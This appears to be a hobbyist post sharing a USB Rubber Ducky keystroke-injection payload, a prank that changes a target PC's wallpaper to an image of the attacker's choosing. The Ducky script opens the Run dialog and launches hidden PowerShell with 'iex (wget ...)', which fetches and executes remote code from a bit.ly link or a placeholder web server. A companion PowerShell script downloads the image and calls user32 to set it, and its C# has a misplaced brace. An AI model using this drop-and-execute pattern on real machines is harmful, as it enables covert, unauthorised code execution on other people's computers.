Pre-written and execution-ready code:

If you do not have access to a web server and want to get this running, here is pre-uploaded code. The bitlink points to [this gist](https://gist.github.com/judge2020/034d6201d6b24f079e0d692bea3e92b0) containing the PS code, and the image is hosted on github directly.

```
SLEEP 600
GUI r
DELAY 150
STRING powershell -windowstyle hidden iex (wget http://bit.ly/2f1uwGD)
ENTER
```


GET THE CODE SNIPS HERE:

http://lostserver.com/static/rubberduckcode.txt

It will set the background image on a targets pc to whatever jpg you want - i recommend mylittleponys :) 

Regards Keld Norman@DK

Write this code to your Rubber Ducky payload file using the encoder, the wget is an alias that exist in powershell already: 
---------------------------------------------------------------------
```
SLEEP 600
GUI r
DELAY 150
STRING powershell -windowstyle hidden iex (wget http://your-website.com/powershellscript.ps)
ENTER
```
The Powershell script on your webserver (http://your-website.com/powershellscript.ps):
---------------------------------------------------------------------
```
(new-object System.Net.WebClient).DownloadFile('http://your-website.com/mylittlepony.jpg',"$Env:Temp\\b.jpg");
Add-Type @"
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32;
namespace Wallpaper
{
 public enum Style : int
{
    Tile, Center, Stretch, NoChange
 }
 public class Setter {
  public const int SetDesktopWallpaper = 20;
  public const int UpdateIniFile = 0x01;
  public const int SendWinIniChange = 0x02;
  [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
  private static extern int SystemParametersInfo (int uAction, int uParam, string lpvParam, int fuWinIni);
  public static void SetWallpaper ( string path, Wallpaper.Style style ) {
     SystemParametersInfo( SetDesktopWallpaper, 0, path, UpdateIniFile | SendWinIniChange );
     RegistryKey key = Registry.CurrentUser.OpenSubKey("Control Panel\\\\Desktop", true);
     switch( style )
     {
        case Style.Stretch :
           key.SetValue(@"WallpaperStyle", "2") ;
           key.SetValue(@"TileWallpaper", "0") ;
           break;
        case Style.Center :
           key.SetValue(@"WallpaperStyle", "1") ;
           key.SetValue(@"TileWallpaper", "0") ;
           break;
        case Style.Tile :
           key.SetValue(@"WallpaperStyle", "1") ;
           key.SetValue(@"TileWallpaper", "1") ;
           break;
        case Style.NoChange :
           break;
     
     key.Close();
      }
    }
}
"@
[Wallpaper.Setter]::SetWallpaper("$Env:Temp\b.jpg" , 2 )
```